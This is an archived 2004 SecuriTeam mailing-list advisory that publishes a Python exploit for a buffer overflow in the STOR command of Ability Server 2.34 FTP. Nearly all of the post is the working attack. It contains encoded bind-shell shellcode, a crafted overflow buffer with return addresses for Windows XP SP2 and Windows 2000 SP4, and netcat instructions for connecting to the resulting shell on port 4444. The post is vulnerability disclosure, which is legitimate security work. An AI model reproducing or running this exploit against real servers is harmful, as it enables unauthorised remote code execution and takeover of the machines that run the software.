[EXPL] Ability Server FTP STOR Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 10/24/04

  • Next message: SecuriTeam: "[TOOL] Rssh - Restricted Shell for OpenSSH"
    To: list@securiteam.com
    Date: 24 Oct 2004 16:18:30 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Ability Server FTP STOR Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    Presented below is a Python script which exploits a vulnerability in
    <http://www.code-crafters.com/> Ability Server.

    DETAILS

    Vulnerable Systems:
     * Ability Server 2.34

    Exploit Code:
    #################################################
    # Ability Server 2.34 FTP STOR Buffer Overflow #
    # Advanced, secure and easy to use FTP Server. #
    # 21 Oct 2004 - muts #
    #################################################
    # D:\BO>ability-2.34-ftp-stor.py #
    #################################################
    # D:\data\tools>nc -v 127.0.0.1 4444 #
    # localhost [127.0.0.1] 4444 (?) open #
    # Microsoft Windows XP [Version 5.1.2600] #
    # (C) Copyright 1985-2001 Microsoft Corp. #
    # D:\Program Files\abilitywebserver> #
    #################################################

    import ftplib
    from ftplib import FTP
    import struct
    print "\n\n##################################################"
    print "\nAbility Server 2.34 FTP STOR buffer Overflow"
    print "\nFound & coded by muts [at] whitehat.co.il"
    print "\nFor Educational Purposes Only!\n"
    print "##################################################"

    # Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow
    Tutorial"

    sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
    sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
    sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
    sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
    sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
    sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
    sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
    sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
    sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
    sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
    sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
    sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
    sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
    sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
    sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
    sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
    sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
    sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
    sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
    sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
    sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
    sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
    sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
    sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
    sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

    # Change RET address if need be.

    #buffer = '\x41'*966+struct.pack('<L', 0x7C2FA0F7)+'\x42'*32+sc # RET
    Windows 2000 Server SP4
    buffer = '\x41'*970+struct.pack('<L', 0x7D17D737)+'\x42'*32+sc # RET
    Windows XP SP2

    try:
        # Edit the IP, Username and Password.
        ftp = FTP('127.0.0.1')
        ftp.login('ftp','ftp')
        print "\nEvil Buffer sent..."
        print "\nSploit will hang now because I couldn\'t figure how to use
    storelines()."
        print "\nTry connecting with netcat to port 4444 on the remote
    machine."
    except:
        print "\nCould not Connect to FTP Server."
    try:
        ftp.transfercmd("STOR " + buffer)
    except:
        print "\nDone."

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:jerome.athias@caramail.com>
    JXrXme ATHIAS.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] Rssh - Restricted Shell for OpenSSH"

    Relevant Pages